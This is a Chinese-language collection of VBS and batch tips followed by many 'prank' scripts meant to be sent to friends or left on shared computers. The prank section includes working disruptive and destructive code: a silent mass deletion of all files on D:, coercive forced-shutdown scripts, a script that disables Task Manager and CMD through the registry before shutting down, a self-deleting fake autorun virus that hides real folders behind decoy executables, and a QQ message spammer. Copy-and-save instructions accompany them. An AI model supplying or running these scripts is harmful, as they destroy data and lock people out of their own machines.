VBS經常使用使用技巧

 

（一）VBS經常使用函數使用筆記：

一、Msgbox語法：msgbox "對話框內容", , "對話框的標題"

二、inputbox是VBS內建的函數，能夠接受輸入的內容，其語法格式爲：
Inputbox("對話框內容","對話框標題")

三、全部單引號後面的內容都被解釋爲註釋。

四、Set是Vbs指令，凡是將一對象引用賦給變量，就須要使用set關鍵字。那麼什麼是對象引用呢？凡是字符串、數值、布爾值以外的變量都是對象引用。

五、run在運行解析時，遇到空格會中止，解決的方法是使用雙引號
eg:objshell.run """C:\Program Files\QQ2006\QQ.exe"""

六、須要順序執行的代碼後加 , , True參數就能夠了
eg:Set objShell = CreateObject(「Wscript.Shell」)
objShell.Run 「notepad」 ,,true
objShell.Run 「calc」

七、組合鍵使用:
alt + f "%F"
ctrl + s "^S"
shift + m "+M"
alt + tab "%{TAB}"
alt + f4 "%{F4}"
win + r "^({ESC}R)"

用法;
set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.SendKeys "%{F4}" ' 這就是ALT + F

七、經過運行框中輸入命令結束進程
taskkill /f /im 進程名

八、利用WMIC關閉本地進程

例如關閉QQ進程，打開cmd命令提示符後：輸入如下命令。
WMIC process where name=」qq.exe」 call terminate

九、顯示當前系統中正在運行的程序
wmic process list brief

十、將當前系統進程信息保存到指定文件中去。
wmic process list brief>>d:\1.txt

十一、重啓遠程計算機
wmic /node:192.168.8.10 /user:adminsitrator /password:123 process call create "shutdown -r -f "

十二、關閉遠程計算機
wmic /node:192.168.8.10 /user:adminsitrator /password:123 process call create "shutdown -s -f "

13.查詢遠程計算機進程列表
wmic /node:192.168.8.10 /user:adminsitrator /password:123 process get name,executablepath,processid

14.本地計算機建立進程
wmic process call create "c:\windows\system32\calc.exe"

15.在遠程計算機建立進程
wmic /node:192.168.8.10 /user:adminsitrator /password:123 process call creart "c:\windows\system32\16calc.exe"

 

1六、批處理，重定向命令>,>>使用技巧
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於，>會清除調原有文件中的內容後寫入指定文件，而>>只會追加內容到指定文件中，而不會改動其中的內容。
eg1:
運行CMD--轉換目錄到system32使用下面命令
dir *.exe>exeback.txt & dir *.dll>dllback.txt, 這樣全部的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
eg2:
這時咱們用一樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,而後運行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較先後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣咱們就能發現一些多出來的DLL和EXE文件,而後經過查看建立時間、版本、是否通過壓縮等就可以比較容易地判斷出是否是已經被DLL木馬光顧了。

 

1七、批處理使用，借批處理自動清除系統垃圾，腳本以下：
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\history\*.* del c:\windows\history\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*

1八、批處理中註釋命令可使用Rem或者使用::符號來表示。

1九、批處理符號表示：
&用這種方法能夠同時執行多條命令，而無論命令是否執行成功
eg:C:\>dir z: & dir c:\Ex4rch

&&用這種方法能夠同時執行多條命令，當碰到執行出錯的命令後將不執行後面的命令，若是一直沒有出錯則一直執行完全部命令；
eg:C:\>dir z: && dir c:\Ex4rch

| 命令將第一條命令的結果做爲第二條命令的參數來使用
eg:time /t>>D:\IP.log netstat -n -p tcp|find ":3389">>D:\IP.log

 

（二）、VBS整人代碼合集：

1、你打開好友的聊天對話框,而後記下在你QQ裏好友的暱稱,把下面代碼裏的xx替換一下,就能夠自定義發送QQ信息到好友的次數(代碼裏的數字10改一下便可).
xx.vbs=>
複製代碼 代碼以下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

QQ騷擾信息,也能夠用在其它程序上。
2、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------ do
do
msgbox "You are foolish!"
loop

------------------------------------------------------------------------------
3、打開無數個計算器，直到死機
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
4、直接關機
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
5、刪除D:\全部文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
6、不斷彈出窗口
----------------------------------------------------------------------------
複製代碼 代碼以下:
while(1)
msgbox "哈哈 你被耍了！"
loop

----------------------------------------------------------------------------
7、不斷按下alt+f4 （開什麼都關閉……）
---------------------------------------------------------------------------
複製代碼 代碼以下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

8、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500能夠隨意更改)
複製代碼 代碼以下:
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------

9、關不掉的窗口
複製代碼 代碼以下:
WScript.Echo("嘿，謝謝你打開我哦，我等你好久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼纔來，說~是否是不關心我")
WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是否是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工做。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，之後就看不到我拉。555555")
WScript.Echo("還剩10下，你如今能夠選擇中止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嗎丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下。但是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這麼絕情。也別怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")

 

兩個整人的VBS腳本2009-07-16 18:16
文章錄入：7747.Net 責任編輯：7747.Net 564
【字體：小 大】

測試環境：Windows 2003 系統
你們好 我是Vanlisa QQ137841986
今天給你們帶來兩個整人的VBS腳本 但願你們喜歡
VBS腳本你們都知道吧 第一個是定時關機的
若是把他發給你的QQ好友 他不懂的話 若是不輸我是豬 電腦就會在你設定的
時間內關機 我設置的是3分鐘 只要輸入就解除了 固然若是不輸的話也有解除的辦法
咱們來看下這個腳本
複製代碼 代碼以下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就好了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一個記事本 把上面的代碼複製進去 另存爲VBE格式的就能夠了
cmd.exe /c shutdown -r -t 180 -c
這裏的數字能夠修改關機時間 180秒
這些文字也能夠自設 這個腳本啓用cmd 裏的關機程序
若是不輸的的話 能夠打開任務管理器 輸入shutdown -a 來解除 咱們試下 這時定時關機已
經沒了 可是還有個關不掉的窗口 咱們打開任務管理器 結束掉Wscript.exe 這個進程就OK
了 這時就徹底解除這個腳本了 Wscript 時Windows 腳本宿主
-------------------------------------------------------------------------------------------
下面看第二個整人的腳本
-------------------------------------------------------------------------------------------
複製代碼 代碼以下:
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裏輸入我是豬,不然後果自負，快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就好了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"若是你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裏有個廟.",4096+64
MsgBox"廟裏有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，此次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是否是大好人！",4096+64
if inputbox("是否是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼能夠改爲你本身設定的地址
若是別人不輸我是豬的話就會一直點下去 點到你設定的數字
for i=1 to 100
從1到100
能夠改爲 20 其餘的數字
解除這個VBS腳本的辦法就簡單了 只是關掉任務管理器裏Wscript.exe
這個進程就行了
BY：7747.net

2009QQ整人代碼
複製代碼 代碼以下:
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

[color=#FF0000]複製以上代碼，在桌面建一個文本，把代碼放進去，另存爲VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務無論用
4：F8安全模式也無論用
呵呵！聽起來是否是有點恐怖啊，我在我朋友空間裏看見也嚇了一跳、
代碼破解方法：就是再運行一次，就能夠破解了，也就是第2次保存的那個VBE文件，，
PS：不要亂拿軟件去整人，發生什麼事可不要怪我啊。。
拍拍手 頂起吧!

2：
複製代碼 代碼以下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B""　","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就好了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是否是又帥啦？？"

這代碼是我從朋友那拿來的，你們能夠試着玩下、你能作非法事情哦、

 

網頁整人效果代碼
想看效果，只要複製這下面的全部代碼保存在text文件裏，修改文件後綴爲txt就能看到效果了。
複製代碼 代碼以下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網頁特效|Linkweb.cn/Js|---很噁心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('爲何把鼠標放到這裏?');
alert('我不是說過不能夠這樣嗎？');
alert('你把個人話當什麼了？');
alert('你知道錯了嗎？');
alert('什麼？你竟然....');
alert('竟然還沒意識到本身作錯了？');
alert('那好，你要爲此付出代價!');
alert('我要你在這裏點足一千下......');
alert('什麼？你開始有點後悔了？');
alert('何須呢？');
alert('你當初幹什麼去了？');
alert('不原諒你！');
alert('好從如今開始再點995下......');
alert('你的手開始累了嗎?');
alert('什麼？你已經沒力氣了？');
alert('你一直在求我原諒你啊！');
alert('看來你是真的知道錯了!');
alert('下次你還會這麼作嗎？');
alert('真的不會了？');
alert('那好，今天就放你一馬！');
alert('寫封信給我說聲對不起!');
alert('你能這麼作我很高興!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=對不起,下次不敢了!';">不準把鼠標移到這裏</a>

嘻試吧爽噢。。

</body>
</html>

 

vbs整人代碼
代碼以下：
複製代碼 代碼以下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量，其中「count」爲靜態變量，以便生成不一樣的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個目錄文件下
c = "C:\Program Files\"
'生成文件的內容
nr = "哈哈，被黑的感受的不錯吧"
files = FreeFile
'若是a等於a那麼就執行
If a = a Then
'count不斷的加1，以便產生不一樣的文件名
count = count + 1
'產生文件名及文件句柄，並用count做爲產生不一樣的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫內容
Write #files, nr
'清除文件句柄，這裏很重要，若是不清除，將產生打開文件太多的錯誤提示
Close #files
End If
End Sub

詳細出處參考：http://www.jb51.net/article/26385.htm

打開記事本
輸入
dim a,s
set wshshell=createobject("wscript.shell")
a=0
do
wshshell.run"notepad"
a=a+1
if a>20 then
exit do
end if
loop
而後保存爲「**.vbs」格式
其中if a>20 then中20可隨意改
只要打開這個程序就會彈出你所給定數字個數個「記事本」

有人要VBS整人代碼，我就寫了一個，若是玩笑開得過火，千萬別罵我啊~

簡單描述一下：文件夾同名病毒（Autorun病毒）你們都熟悉吧？效果就是那樣（不過放心吧，毫不是真的病毒，騙人的），試想，若是有人中招，他會怎麼辦？殺毒？沒用（由於根本不是病毒），情急之下咋辦？胡亂刪一通，抱歉，他親手將本身親愛的文件刪了......

廢話很少說了，代碼以下，你們知道該怎麼用：

''''''''''''''''''''代碼開始''''''''''''''''''''

On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next

Set Cx=Nothing
Set Fdrs=Nothing

Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next

End If
End If
Next
WScript.Sleep 60*1000
Loop

''''''''''''''''''''代碼結束''''''''''''''''''''

打開記事本，複製，保存綴名爲vbs格式注意：此代碼不可亂用，可能會把人弄瘋的 除非是你最恨的人 這是vbs的：dim a a=inputbox("請輸入「25257758」！")if a=25257758 thenmsgbox "哈哈！你上當啦！25257758的意思是：愛我愛我親親我吧，既然你輸了那就開始親吧！          ╭(╯3╰)╮"end if絕對能夠！我都試過了，絕對不傷系統！